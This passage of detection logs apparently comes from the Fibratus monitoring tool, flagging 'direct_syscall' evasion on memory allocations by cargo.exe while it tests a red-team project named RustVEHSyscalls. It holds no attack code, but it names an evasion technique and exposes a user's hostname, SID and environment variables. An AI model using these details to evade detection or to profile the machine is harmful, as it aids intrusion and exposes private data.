VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6902f7ee7 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc41d6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc0b08 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc8941e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690118ddc C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69011873a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc63d2d C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690344041 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690114ec9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff11c9e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fefbf5b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0be86 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902964 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9910146 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50de000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff6900aa891 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690344448 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc9de0f C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca19aa C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fccfca8 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc5237 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc0b08 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc8941e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690118ddc C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69011873a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc63d2d C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690344041 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690114ec9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff11c9e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fefbf5b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0be86 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902967 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.9910598 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50dd000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program 